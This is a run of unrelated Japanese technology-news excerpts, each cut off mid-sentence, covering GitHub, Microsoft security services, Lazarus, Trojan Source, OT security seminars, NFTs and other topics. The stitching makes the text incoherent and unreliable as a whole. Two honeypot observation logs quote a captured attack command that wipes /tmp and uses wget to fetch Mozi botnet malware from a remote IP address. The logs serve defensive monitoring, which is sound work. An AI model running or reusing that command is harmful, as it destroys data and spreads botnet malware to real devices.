Microsoftは2018年に75億ドルでGitHubを買収しました。 MicrosoftはGitHubを買収する前からさまざまなソフトウェアのソースコードをGitHubで公開しており、買収後もその姿勢は特に変わっていないようです。 今回、Neowinが、MicrosoftがGitHubで公開しているオープンソースプロジェクトの人気トップ10をまとめています。 プロジェクトのリストは以下の通りです。 Visual Studio Code: さまざまな開発用途で利用できる軽量で拡張性の高いオープンソースのテキストエディタ。Windows、macOS、Linux用の実行ファイルがダウンロード可能。 Windows Terminal: Windows用の多機能ターミナル。 TypeScript: JavaScriptにオプションの型を追加し、あらゆるブラウザ、あらゆるホスト、あらゆるOSに対応

自由なソフトウェアと抗議と倫理の「（不）可能性」について 2022.05.10 Updated by yomoyomo on May 10, 2022, 18:15 pm JST 大変ごぶさたしております。実に約5年半ぶりになりますが、またこちらで書くことになりました。ブランクが長かったため、ここへの文章の書き方を自分でも忘れてしまったところがあるのですが、稲田豊史氏の「ウェブは最初に結論を書く、くどくど掘り下げて説明しない、とにかく簡潔に」という金言に逆らい、地味な話題についてくどくどと書いていこうと思います。 いや、結論だけは先に書いておきましょうか。銀の弾はない、それだけです。 2022年2月にロシアがウクライナへの侵攻を開始して早くも2カ月以上経ち、ロシア（のプーチン大統領）の甘い見通し、予想以上のウクライナの抵抗、多くの国のウクライナへの支援などと相まって、現状、ロシアが手こずっ

Apple公式の修理サービスには、修理してほしい端末を店舗まで持って行って修理してもらう「持ち込み修理」と、Apple指定の配送業者に修理端末を引き取ってもらい修理する「配送修理」の2種類が存在します。家の近くに対象店舗がない人や地方の暮らしの人にとって、家まで端末を引き取りに来てもらえる「配送修理」は非常に便利でありがたいサービスなのですが、このサービスを利用した男性が端末が保証期間内であったにもかかわらず端末料金満額を支払わされてしまうという事態に遭遇しています。 An Apple-FedEx debacle had a local man caught in the middle, batted back and forth - The Boston Globe https://www.bostonglobe.com/2022/05/09/business/an-apple-fede

感染症を検査する方法はPCR検査や抗原抗体反応を利用した酵素免疫測定法などさまざまなものがあります。テキサス大学ダラス校の生物工学チームが新たに、汗から感染症の有無を特定できるウェアラブルセンサーを開発しました。 Novel Approach to Track the Lifecycle of Inflammation from Chemokine Expression to Inflammatory Proteins in Sweat Using Electrochemical Biosensor - Jagannath - - Advanced Materials Technologies - Wiley Online Library https://onlinelibrary.wiley.com/doi/10.1002/admt.202101356 Researchers Devel

SSEを導入するメリット 前回は、企業のクラウド活用が急増したことで従来型のセキュリティではカバーできなくなったことに応じて、クラウドも含めたセキュリティ対策の考え方としてゼロトラストが登場し、それを複数の機能を組み合わせることでサポートする新しい考え方がSASE（Secure Access Service Edge）であると説明した。 そして、SASEのネットワーク機能とセキュリティ機能のうち、セキュリティ機能に該当する部分がSSE（Security Service Edge）である。今回はSSEのメリット、そしてSSEを構成するサービスと実現する機能について説明する。 SSEは、セキュリティ機能がクラウドサービスで提供されるため、ネットワークに縛られることなく、また場所に関係なくユーザーからアプリケーションに至るまで保護を可能にする。すべてのセキュリティサービスは統一されたアプローチに

マイクロソフト、テクノロジーと人の専門性を組み合わせた新セキュリティサービス「Security Experts」 Microsoftは、新たなマネージド型サイバーセキュリティソリューションで既存のセキュリティサービスを拡充すると発表した。「Microsoft Security Experts」というサービスカテゴリーで実現する。サイバーセキュリティ分野のスキルを有した人材の不足が続くなか、こうしたサービスで、マルウェアをはじめとする脅威に対応する顧客を支援していく。 Microsoft Security Expertsは、「人間主導」のサービスとエキスパートが訓練したテクノロジーを組み合わせることで、組織がセキュリティやコンプライアンス、アイデンティティー、プライバシー、管理などに対応できるようにするサービスだ。 Microsoftは、「Security Expertsは、専門的な訓練が施

インフルエンザ感染症は過去に年間約2,200万人が受診したと推計されている。(国立感染症「今冬のインフルエンザについて(2019/20 シーズン)」 における2017/2018シーズンの推定受診者数) アイリス株式会社は、感染症診断用AI医療機器や咽頭撮影に特化した専用カメラなどの開発に取り組んでおり、2022年5月9日、「国民的感染症」ともいわれるインフルエンザ感染症を対応疾患とした、咽頭カメラを含む、AI搭載システムnodoca(販売名：nodocaノドカ)の製造販売承認を同年4月26日に取得したことを発表した。 インフルエンザ濾胞(咽頭後壁のリンパ濾胞(ろほう))がインフルエンザ感染症の診断に有用であるが、インフルエンザ濾胞を視診で見分けるには熟練の医師による診察が必要であった。そこで、同社は、熟練医の視診をAIによって再現することを目指し、日本で初めて「新医療機器」として承認を取得

キヤノンITソリューションズ株式会社 キヤノンマーケティングジャパングループのキヤノンITソリューションズ株式会社（本社：東京都港区、代表取締役社長：金澤　明、以下キヤノンITS）は、国の定めるガイドライン※1に準拠した、クラウド上での医療情報システムの運用を支援する“医療ITクラウドコンプライアンスサービス”を2022年5月10日より提供開始します。これにより、キヤノンITSは医療ITにおけるクラウド活用の提供サービスを、企画・立案、開発・構築フェーズに加え展開・運用にも拡大し、ライフサイクル全般をワンストップで提供します。 新型コロナウイルスの感染拡大や高齢化の加速とともに医療需要が高まり、医療現場では人材不足解消のための業務改善や生産性向上が課題となっています。これらの課題を解決する手段の一つとして、医療のDX（デジタルトランスフォーメーション）が求められており、中でもITインフラの

日々多くの情報が飛び交うインターネット。サイバーセキュリティの分野においてもさまざまなWebメディアが乱立し、セキュリティニュースを発信している。こうしたセキュリティニュースはなぜ必要とされるのだろうか。その必要性を踏まえながら、サイバーセキュリティにおける適切な情報収集の在り方と情報収集の手段を紹介する。 セキュリティニュースはなぜ必要か セキュリティ系に括られるニュースメディアでは、セキュリティに関連するさまざまな情報を取り扱っている。これらの情報を適切に収集しておくことがセキュリティ対策を検討する際の第一歩となる。例えば、以下のようなトピックがニュースとして取り扱われている。 1）流行しているサイバー攻撃の動向把握 サイバー攻撃の動向が一般的なニュースメディアでも取り上げられるようになって久しい。その背景には、サイバー攻撃の被害がもたらす、社会的なインパクトが甚大化していることも関係

[PR]4月15日（金）に開催されたオンラインセミナー『経済産業省「工場セキュリティガイドライン」を活用して工場設備の生産性を向上』の概要をお伝えする。 SESSION２では、フォーティネットジャパン合同会社 OTビジネス開発部 部長を務める佐々木 弘志氏が「ガイドライン適合のための工場セキュリティ対策とは？」をテーマに講演した。 COVID-19のパンデミックとグローバルエコノミーへの影響、サプライチェーンの不安定化、さらにロシアのウクライナ侵攻など、「まさかそんなことが」と思われていたことが現実のものとなっている。 長年にわたってOTセキュリティに取り組み、経済産業省の産業サイバーセキュリティ研究会の工場SWGでも委員を務めているフォーティネットジャパンのOTビジネス開発部部長、佐々木弘志氏は、「ガイドライン適合のための工場セキュリティ対策とは？」と題するセッションの中で、「VUCA」

[PR]4月15日（金）に開催されたオンラインセミナー『経済産業省「工場セキュリティガイドライン」を活用して工場設備の生産性を向上』の概要をお伝えする。 SESSION１基調講演では、経済産業省の商務情報政策局 サイバーセキュリティ課 課長補佐を務める塚本 大介氏が「工場セキュリティガイドラインの目的・背景・内容について」をテーマに講演した。 あらためて強調するまでもないほど、昨今のサイバー攻撃は多様化し、被害も深刻化している。経済産業省 商務情報政策局 サイバーセキュリティ課 課長補佐、塚本 大介氏は、「工場セキュリティガイドラインの目的・背景・内容について」と題した基調講演の冒頭で、「あらゆるものがネットワークにつながる世の中にあって攻撃の起点が増加しており、その結果、産業界や社会にサイバー攻撃の影響が深く及ぶようになっています」と指摘した。 中でも多数の被害をもたらしているのが、情報

[PR]4月15日（金）に開催されたオンラインセミナー『経済産業省「工場セキュリティガイドライン」を活用して工場設備の生産性を向上』の概要をお伝えする。 SESSION３では、フォーティネットジャパン合同会社 OTビジネス開発部 部長を務める佐々木 弘志氏が「自社工場におけるセキュリティ対策の現状を把握するには？」をテーマに講演した。 増え続けるサイバー攻撃から自社のビジネスを、ひいては取引先・納品先を守るため、OTセキュリティ対策が求められている。経済産業省が策定を進める「工場セキュリティガイドライン」は、その際の指針として大きな役割を果たすだろう。 ただ、ガイドラインはあくまでガイドラインであり、指針に過ぎないのも事実だ。「ガイドラインに沿って対策を進めるにしても、自身でのリスク判断に自信がない」「担当者である自分はいいが、社内の他の関係者にも対策の必要性を理解してもらうにはどうしたら

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 「Lazarus」と呼ばれるハッキンググループは、北朝鮮による重大なサイバーセキュリティ脅威の1つだとみられている。このグループは最近、大規模な暗号資産（仮想通貨）の窃盗事件を起こして、米国政府の注意を引いている。 NCC Groupは、Lazarusが攻撃の初期アクセスフェーズで最近使っているツールや手口についてまとめたブログ記事を公開している。このグループの手口には、「LinkedIn」でのソーシャルエンジニアリングや、「WhatsApp」を使った米防衛関連企業を標的としたメッセージング、悪質なダウンローダーである「LCPDot」のインストールなどがある。 NCC Groupが作成したリストは、すでにLazarusについて明らかにな

Microsoft、中小企業のランサムウェア対策などを支援する「Microsoft Defender for Business」スタンドアロン版をリリース：SecOpsチームが担う作業を自動化 Microsoftは、エンタープライズグレードのエンドポイントセキュリティを中堅・中小企業に提供する「Microsoft Defender for Business」スタンドアロン版の一般提供を開始した。 Microsoftは2022年5月2日（米国時間）、「Microsoft Defender for Business」スタンドアロン版の一般提供（GA）を開始した。Defender for Businessは、ランサムウェアや巧妙なサイバー脅威を防ぐエンドポイントでの検知、対応機能など、エンタープライズグレードのエンドポイントセキュリティを中堅・中小企業（SMB）に提供する。 Defender f

日々多くの情報が飛び交うインターネット。サイバーセキュリティの分野においてもさまざまなWebメディアが乱立し、セキュリティニュースを発信している。こうしたセキュリティニュースはなぜ必要とされるのだろうか。その必要性を踏まえながら、サイバーセキュリティにおける適切な情報収集の在り方と情報収集の手段を紹介する。 セキュリティ系に括られるニュースメディアでは、セキュリティに関連するさまざまな情報を取り扱っている。これらの情報を適切に収集しておくことがセキュリティ対策を検討する際の第一歩となる。例えば、以下のようなトピックがニュースとして取り扱われている。 １）流行しているサイバー攻撃の動向 サイバー攻撃の動向が一般的なニュースメディアでも取り上げられるようになって久しい。その背景には、サイバー攻撃の被害がもたらす、社会的なインパクトが甚大化していることも関係している。さまざまな攻撃手法が編み出さ

ドリームニュース> プレスリリース一覧> Armis> Armis、ネットワークスイッチに5つの重大な脆弱性「TLStorm 2.0」を発見　世界中の組織がリスクにさらされていることが判明 広く利用されているネットワークスイッチに見つかった脆弱性により、 攻撃者はネットワークのセグメント化などのセキュリティ機能を回避し、 重要システムにアクセスできるようになる可能性 本リリースは2022年5月 3日に米国で発表されたプレスリリース ＜ https://www.armis.com/press-releases/armis-discovers-tlstorm-20-five-critical-vulnerabilities-in-network-switches-organizations-around-the-world-at-risk/ ＞ の抄訳です。 米国カリフォルニア州パロアルト発

NVIDIAは2022年中に、新たな人工知能（AI）アクセラレーターの販売を開始する。AIコンピューティング革命を主導する立場を確かなものにする取り組みの一環だ。 この「H100」は、「Hopper」アーキテクチャー採用のプロセッサーで、NVIDIAの最高経営責任者（CEO）Jensen Huang氏が3月に発表した。AI開発者が研究を加速させ、特に人間の言語の理解や、自動運転車のルート設定といった複雑な課題に対して、より高度なAIモデルを構築できるように設計されている。同製品は、第3四半期に出荷が開始される見込みだ。 H100は、800億個ものトランジスターを搭載し、サイズは814平方ミリメートルと、現在のチップ製造設備で物理的に可能な大きさのほぼ上限に等しい。 H100は、AMDの「MI250X」やGoogleの「TPU v4」、Intelの次期「Ponte Vecchio」のような、

本連載ではKubernetesの簡単な説明からはじまり、開発者の方にとってKubernetesを利用することで何が嬉しいのか、どのように開発フローが変わっていくのかについて、イラストを交えながら紹介します。今回は、実際にKubernetesを触ってみる方法をご紹介します。まだまだ理解が怪しいと思っていても、触ってみると知識が深まることもあるでしょう。特にローカルクラスタを作ってさえしまえば、いくら壊しても大丈夫です。 kubectlをインストールしよう この回ではKubernetesクラスタの作成方法と、作成したクラスタに対してPodを作成する方法などを説明します。 Kubernetes環境の作成方法は色々ありますが、ローカルからkubectlを利用してKubernetesクラスタのAPIサーバと接続する必要がある場合がほとんどですので、まずはkubectlをインストールしましょう。Kub

はじめに データアナリティクス事業本部のkobayashiです。 今は昔アーカイバとして頻繁に使われていましたLZHファイルですが、脆弱性の問題から使用が非推奨となり現在ではほぼ使用されていないです。ただ今回LZHのファイルをPythonで展開する機会がありPythonでLZHファイルを扱う方法を調べましたのでその内容をまとめます。 環境 macOS 10.15.7 Python 3.7.12 PythonでのLZH解凍方法 LZHは現在ほぼ使われていない圧縮形式のため展開する手段もあまり見つからなかったので当初はlhaをインストールしてsubprocessから使う方法を考えていましたが継続して調査していたところ Lhafile というPythonのモジュールが一つだけ見つかりました。 上記の様な経緯から以下の二つの方法を紹介したいと思います。 subprocessからlhaを呼び出す L

業界では周知のことですが、脆弱性はすべて同じではありません。軽微なものや無関係なものもあれば、重大なものもあります。当然ながら、重大とされた脆弱性に注目する必要があります。 最近公開された Trojan Source（CVE 2021-42574）の脆弱性は、重大カテゴリに分類されます。最大限の注意が必要ということです。重大と分類された理由は複数あります。この脆弱性は有害で（NVDの重大度ランキングは9.8）、蔓延性が高く、発見が困難です。 ケンブリッジ大学の研究者は最近、プログラミング言語に関係なくコードベースに影響を与える可能性があるTrojan Sourceの脆弱性を明らかにしました。Unicodeにより、ソースコードのレンダリングは実際の解析構造とは異なって表示される可能性があります。この脆弱性により、攻撃者はあらゆるアプリケーションに簡単にトロイの木馬を挿入し、悪用のための弱点を

経済産業省は5月9日、実際の企業のAI実装を疑似経験学習できるAI教材「AI Quest データ付き教材」を、企業や教育機関向けに提供すると発表した。不良カ所の自動検出や工数予測など、企業のAI活用でニーズの高い工程をテーマにした教材から、実践的に学べるのが特徴だ。 プログラミングやAIによるモデル構築にとどまらず、実際の企業のAI実装を疑似経験学習できるのが特徴。昨年度も提供していた教材に加え、AI導入テーマの選定、プロジェクトマネジメント、システム実装について学べる補助教材を新たに作成し、合計11テーマの教材を提供する。 公開されたサンプル教材は、「AIコンサルタントの真鍋」が、「ABC基板」の不良カ所検出をAI化するストーリー。ABC基板は、1988年設立で従業員100人、社長の宇都宮忠雄が株式の50％を保有しており、売上高・営業利益率ともに低下傾向……など細かく設定されている。 現

セキュリティ企業・カスペルスキーの研究者が、Windowsのイベントログ内にシェルコードを隠すことで感染経緯をこれまでよりもわかりにくくする手法が用いられていることを初めて観測しました。 A new secret stash for “fileless” malware | Securelist https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/ In February 2022 we observed the technique of putting the shellcode into Windows event logs for the first time “in the wild” during the malicious campaign. It allows the “fileless”

Vasu Jakkal Corporate Vice President, Security, Compliance, Identity, and Management ※本ブログは、米国時間 5 月 9 日に公開された ”Building a safer world together with our partners—introducing Microsoft Security Experts” の抄訳を基に掲載しています。 高まる脅威 — 不充分な防御 お客様にとって、セキュリティの状況はますます困難で複雑なものになっています。昨年はサイバー攻撃が驚くべきスピードで拡大しました。また、世界全体のサイバー犯罪の被害額は 2025 年までに年間 10.5 兆ドルに達すると予想されています。これは、10 年前の 3 兆ドル、そして、2021 年の 6 兆ドルと比較して大幅な増加です[i]。

Windows 10の4月の月例更新プログラムKB5012599を適用した環境で、0x8024200Bと0x800F0831エラーが発生するという問題が一部のユーザーから寄せられています。 Microsoftはまだこの問題を公式に認めておらず、既知の問題のリストにも追加されていませんが、修正が間もなく行われるみこみであることがわかりました(BetaNews)。 Microsoftに問い合わせたシステム管理者は、パッチが今週中に配信される予定で、問題の原因は「code defect(コードの欠陥)」だとの回答を得た模様。Servicing Stack Update(SSU)の変更が原因のようですが、それ以上の詳細は不明となっています。 Günter Born氏の報告によると、Microsoftは、影響を受けるユーザーに対して以下のようなメッセージを送信しているそうです。 Root Cause

Google、2022年以降のAPIエコノミーで注目すべき7つのトレンドを紹介：セキュリティ、イングレスゲートウェイ、イベントドリブン、GraphQLなど Googleは2022年4月21日（米国時間）に公式ブログで、APIエコノミーの未来を形作る7大トレンドを紹介した。 Googleは、企業IT環境におけるAPIとAPIエコノミーの役割について、次のような認識を示している。「あらゆる業界の企業が競争力の向上を目指してデジタルトランスフォーメーションを推進しており、その過程で、ハイブリッド／マルチクラウド環境の複雑さを克服することがますます必要になっている。利益率の低下を背景に、リソース利用の効率化が追求される中、APIとAPIエコノミーは、サービス、アプリケーション、クラウドを接続する上で、今後も重要な役割を担っていくだろう」 Googleは、企業がAPIエコノミーの構築を成功させるため

ハニーポット(仮) 観測記録 2022/05/03分です。 特徴 共通 Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス ThinkPHPの脆弱性を狙うアクセス zgrabによるスキャン行為 /.envへのスキャン行為 Apache Solrへのスキャン行為 Apache Tomcatへのスキャン行為 Laravelへのスキャン行為 Location:JP D-link製品の脆弱性を狙うアクセス GPONルータの脆弱性を狙うアクセス UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd

ハニーポット(仮) 観測記録 2022/05/04分です。 特徴 共通 GPONルータの脆弱性を狙うアクセス Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス ThinkPHPの脆弱性を狙うアクセス /.envへのスキャン行為 Laravelへのスキャン行為 Location:JP Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス D-link製品の脆弱性を狙うアクセス UserAgentがHello, Worldであるアクセス UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget http://223.130.30.73:58440/Mozi.a; chmod

ハニーポット(仮) 観測記録 2022/05/05分です。 特徴 共通 Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス Spring Bootの脆弱性を狙うアクセス Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス ThinkPHPの脆弱性を狙うアクセス zgrabによるスキャン行為 /.envへのスキャン行為 Apache Solrへのスキャン行為 Laravelへのスキャン行為 Location:JP Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス GPONルータ

オンプレミスからクラウドへの移行をはじめ、ハイブリッドクラウド環境をシームレスに保護しながら、クラウドの利点を実現します。 詳しくはこちら

JPCERT-AT-2022-0013 JPCERT/CC 2022-05-09 I. 概要2022年5月9日、富士通株式会社はFUJITSU Network IPCOMの複数の脆弱性に関する情報を公開しました。本脆弱性を悪用されると遠隔の第三者によって任意のOSコマンドが実行されるなどの可能性があります。 富士通株式会社 IPCOM シリーズのコマンド操作端末／Webブラウザ端末とIPCOM間通信における脆弱性について https://www.fujitsu.com/jp/products/network/support/2022/ipcom-01/ 対象となる製品を利用している場合には富士通株式会社の情報を参照し、アップデートや回避策の適用を検討してください。 II. 対象対象となる製品は次のとおりです。 - IPCOM EX2シリーズ - IPCOM EXシリーズ - IPCOM V

Apple（アップル）が2022年1月14日に米国特許商標庁に提出した特許によると、長い間噂されていたアップルによる電気自動車（EV）「Apple Car（アップルカー）」に、音声などの入力を自律走行コマンドに変換できるオンボードAIが搭載される様です。これは、音声アシスタント「Siri」に話しかけることで車を操作できるということを示唆しており、特許の要旨によると、アップルはアップルカーの操作を、権限を与えられた個人（車の運転者に限らず）が指示に基づき、「特定の目的地に向かう車両の経路を決定する」ことができると説明しています。 この特許申請文書の内容で注目すべきは、車の運転者だけでなく、権限を与えられた人であれば誰でも車の経路を決定できるという点です。特許文書内では、「ナビゲーション・マネージャー」と呼ばれる交通管理オペレーターが、自動運転車の誘導することも可能と記述されています。このよう

概要 エイプコインが正式に発表されたのは2022年3月。発表では仮想通貨としての特徴について「Web3.0（分散型ウェブ）の中心となる分散型コミュニティをサポートするため、カルチャーやゲーム、商取引で利用されるトークンである」と説明されました。 For more details, visit https://t.co/ttG2UFsBLW. — ApeCoin (@apecoin) March 16, 2022 発表直後からバイナンス、コインベース、FTXなどの大手仮想通貨取引所に上場しており、そこまで注目を集めた理由の1つが、BAYCに関連した仮想通貨だからであるとの指摘が多く上がっています。 また、BAYCを制作したNFTスタジオ「Yuga Labs」が、「各プロジェクトの主要トークンとしてエイプコインを利用していく」と説明していることも、需要を後押ししています。実際にBAYCのメタバ

はじめに JavaScript の「非同期処理」ってやっぱりかなり難しくないですか？ 自分も色々試行錯誤しましたが、結局「完全に理解した🤓」→「やっぱり何も分からん😭」っていうループの中で泥臭く理解を深めていくしかないようです。 さて、非同期処理の制御をある程度予測できるようになるには、非同期 API を提供する環境のことやイベントループ、マイクロタスクなどの仕組みについて理解する必要があります。 そして環境に埋め込まれた JavaScript Engine のことも理解する必要があります。 今回の記事では、JavaScript Engine の１つである V8 が内部で変換するコードから async/await の挙動を理解するための解説を試みたいと思います。V8 エンジンからアプローチすることで async/await の分かりづらい挙動を掌握して非同期処理を打倒します。 今回の記

外出先で事件や事故に巻き込まれたり、会社でパワハラやセクハラ被害に遭った際に重要になるのが証拠の確保です。決定的瞬間を逃さないために、頼りになる特殊機材が「隠しカメラ」です。隠しカメラとは身近なアイテムに擬装したセキュリティカメラ。スマートウォッチ型の隠しカメラなら、相手に気づかれにくいでしょう。 スマートウォッチ隠しカメラで心拍数 最近よく見かけるスマートウォッチに擬装した隠しカメラがオンスクエアの「W-711」です。スマートウォッチのディスプレイ上に隠しカメラが仕込まれており、本体横のボタンを押すと録画がスタートします。 スマートウォッチ隠しカメラはフルHD画質の映像を撮影でき、ボイスレコーダー機能も搭載。スマートウォッチとしての機能も備えるので、日常使いができる隠しカメラなのです。 スマートウォッチ型の隠しカメラながら、本体背面には心拍センサーを搭載。心拍数や歩数などが測定できるので

「Google Play」の新しい［データ セーフティ］セクションが提供開始 ［データ セーフティ］セクションではアプリ開発者のユーザーデータ収集目的などが明確化 2022 年 7 月 20 日（水）までに全アプリ対応必須 Google が 2022 年 4 月末に発表した、Android 用アプリストア「Google Play」の各アプリページ内の新セクション［データ セーフティ］が、2022 年 5 月上旬よりついに提供開始されました。 ［データ セーフティ］ 「Google Play」の新しい［データ セーフティ］セクションは、アプリ開発者のユーザーデータ収集目的などを明確化するためのセクションです。ユーザーはアプリインストール前に［データ セーフティ］セクションを確認することで、どの程度のユーザーデータがアプリに収集され、そしてそれがどのように利用されるのかなどを事前に把握できるよ

「テクノロジー x デザイン x 起業家精神」を教育の土台としながら、社会を動かす人材「モノを作る力で、コトを起こす人」の 育成を目指し、徳島県神山町に2023年4月に開校予定の、 5年制の私立高等専門学校「神山まるごと高専」（仮称・認可申請中）。その神山まるごと高専によるイベント「未来の学校FES」に、「子育てのその先へ」をテーマに3児の父でもある山口周氏が登壇。本記事では、いま世界で支持されている企業の「ビジョン」の共通点や、「パラダイムシフト」を成し遂げる人の特徴などを語りました。 いま世界で支持されている企業の「ビジョン」の共通点 山口周氏（以下、山口）：最近存在感を示しているビジネスを並べてみると非常に特徴があるんです。IKEAは先ほど見ていただきましたね。あとはテスラ。化石燃料依存に終止符を打つ。課題も問題も非常に明確ですよね。だからガソリンエンジンとかも絶対に敵になるわけです

RTOS的に使えるがRTOSではない「QP」はMATLABの代替候補にもなり得る？：リアルタイムOS列伝（22）（1/4 ページ） IoT（モノのインターネット）市場が拡大する中で、エッジ側の機器制御で重要な役割を果たすことが期待されているリアルタイムOS（RTOS）について解説する本連載。第22回は、厳密にはRTOSではないものの、RTOS的な利用も可能なフレームワーク「QP」を紹介する。 今回ご紹介する「QP」は、厳密な言い方をするとそもそもリアルタイムOS（RTOS）と言えない気もしなくもない（というか、QP自身がRTOSとは違うと説明している）が、分類としては広義のRTOSという感じになっているので、そのあたりも含めてご紹介したい。 ⇒連載記事「リアルタイムOS列伝」バックナンバー GPLで公開し、商用製品向けにはNon-GPLで提供 QP、正式には「Quantum Platfor

Tenable Network Security Japan（以下、Tenable）は2022年4月28日、同社の複数の脆弱（ぜいじゃく）性リスク管理ソリューションで日本語版の提供を開始した。 今回ローカライズが発表された製品は「Active Directory」（以下、AD）の脆弱性保護に特化した「Tenable.ad」と、OT（Operational Technology）およびITシステムといった産業用制御システムの脆弱性保護に特化した「Tenable.ot」、クラウド型の脆弱性管理プラットフォーム「Tenable.io」のプラグインなど合計3種類だ。 これらの製品群はこれまで英語版のみだったが、顧客からの要望が多く寄せられ、今回SaaS版での日本語対応が決まった。 昨今、ソフトウェアの脆弱性を突いて不正アクセスを試みるサイバー攻撃が相次いで発生している。これらの中には全世界の企業に

SiFiveとBrainChipはパートナー提携により、両社製IPの組み込みAI（人工知能）向けSoC（System on Chip）設計における互換性を実証していくことを明らかにした。 SiFiveとBrainChipはパートナー提携により、両社製IPの組み込みAI（人工知能）向けSoC（System on Chip）設計における互換性を実証していくことを明らかにした。既に、BrainChipのニューロモーフィックプロセッシングユニット（NPU：Neuromorphic Processing Unit）IP（Intellectual Property）を、SiFiveのRISC-VホストプロセッサIPとの連携によって機能させるデモを披露している。 BrainChipのNPUプロセッサIPは、SNN（スパイキングニューラルネットワーク）を加速させることが可能だ。同社のニューロモーフィックプ

エクスプローラーでは、ファイルやディレクトリのアクセス許可を編集するためのGUIが用意されている。これは、結果的にはACLを操作するためのものだが、ファイル・ディレクトリ専用に操作が簡略化されている これまで3回に渡り（「WindowsのACL（Access Control List）を解説する【準備編】」、「WindowsのACL（Access Control List）を解説する【定義編】」、「icacls.exeコマンドの設定項目とWindows内部のACL設定との関係」）、Windows ACLについて解説してきたが、今回は最後にエクスプローラーのプロパティにある「アクセス許可エントリ」（「セキリティタブ」→「詳細ボタン」）で表示される「アクセス許可」などと、ACLの関係を解説する。 エクスプローラーのアクセス権設定 エクスプローラーでファイルやディレクトリを選択して右クリックメニ

『MarkeZine』が主催するマーケティング・イベント『MarkeZine Day』『MarkeZine Academy』『MarkeZine プレミアムセミナー』の 最新情報をはじめ、様々なイベント情報をまとめてご紹介します。 MarkeZine Day

補助金・助成金の活用でＩＴツールの導入をはじめとするインボイス対応の負担軽減を！ 2023年10月1日から始まるインボイス制度への対応には、補助金の有効活用がおすすめです。補助金を使うことでＩＴツールを安く導入できるほか、生産性向上や販路開拓にかかる経費について通常より有利な条件で補助を受けられます。 今回はインボイス対応に役立つ補助金について解説するので参考にしてください。補助金を活用する際の注意点や導入すべきツールなども紹介します。 創業手帳別冊版「補助金ガイド」では、起業家・経営者向けに今本当に役に立つ補助金・助成金情報を厳選してお伝えしています。ここだけは抑えておくべきポイントなども掲載しています。また、「補助金AI」という自分にあった補助金・助成金情報が届くサービスも提供しております。どちらも無料ですので、あわせてご活用ください。 また税理士監修の『インボイス登録ガイド』をリリー

GitHubは2022年4月26日（米国時間）、GUIを使って「GitHub」を操作できる公式クライアントアプリケーションの最新バージョン「GitHub Desktop 3.0」を公開した。このバージョンでは、コミットのsquash、並べ替え、修正といったGit操作のサポートが改善されている他、GitHubをローカル開発ワークフローに近づける新機能が追加されている。 プルリクエストチェックで実行ステータスを確認 GitHub Desktop 3.0では、プルリクエストチェックでステータスを確認することで、本番環境に向けてソースコードを準備できるようになった。プルリクエスト番号のバッジをクリックするだけで、チェック、ジョブ、ステップのいずれのステータスであるかを確認し、発生する可能性のある問題を把握して解決できる。 チェックが失敗し、その理由が分からなかった場合は、チェックを再実行して確認し

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 「Googleドキュメント」に特定の単語を連続して入力するとクラッシュするという一風変わった問題が報告されていたが、Googleはこれに対処したようだ。 この問題は、Googleドキュメントに「And. And. And. And. And.」と入力するだけでクラッシュが引き起こされるという奇妙なものだ。ソーシャルニュースサイトのHacker Newsで、テキスト解析時のどういったミスがこの種の問題を引き起こすのかという点について、言語学的な正書法に起因するという推測から、コーディング時の過ち、プログラミング言語上の問題ではないかとの憶測まで議論され、ソフトウェア開発者らを惑わせていた。 GoogleドキュメントのユーザーであるPat

ソフトウェアの開発ライフサイクルを効率的に回しながら、製品の安全性や品質を担保するには、開発フェーズごとに適切なセキュリティテストを実行することが肝要だ。目指すは、DevSecOpsの実現。だが、昨今のソフトウェア/サービスは多様なクラウドのインフラやサービスを組み合わせた、複雑な構成が当たり前。そんな環境でDevSecOpsを実現するには、どうすればいいのか。導入に向けて検討すべきポイントや手順について、Developers Summit 2022の講演で日本シノプシスの松岡正人氏が解説した。 日本シノプシス合同会社 ソフトウェア・インテグリティ・グループ シニア・プロダクト・マーケティング・マネージャ 松岡正人氏 Microsoft SDLをもとに開発ライフサイクルを整理する ソフトウェアの脆弱性は、サイバー攻撃でシステム侵害を試みる際に狙われる格好の標的の1つだ。シノプシスが毎年発行

ASCII STARTUP Webセキュリティ専門企業であるSSTがサイバーセキュリティに関するプロフェッショナルであるMBSDの「ペネトレーションテスト」を提供開始 株式会社セキュアスカイ・テクノロジー 株式会社セキュアスカイ・テクノロジー（本社：東京都千代田区 代表取締役：大木 元、以下、SST）は、三井物産セキュアディレクション株式会社（本社：東京都中央区　代表取締役社長：鈴木 大山、以下、MBSD）が提供している「ペネトレーションテスト」を2022年5月9日（月）より提供開始します。 年々複雑化するサイバー攻撃に対し、多くの企業が実施しているセキュリティ対策の有効性や運用上の問題を確認することは、近年よく求められることのひとつです。ペネトレーションテストの実施は、多くの企業・組織において現在実施されているセキュリティ対策のレベルを一段階引き上げるのにお役立ていただけます。 MBSD

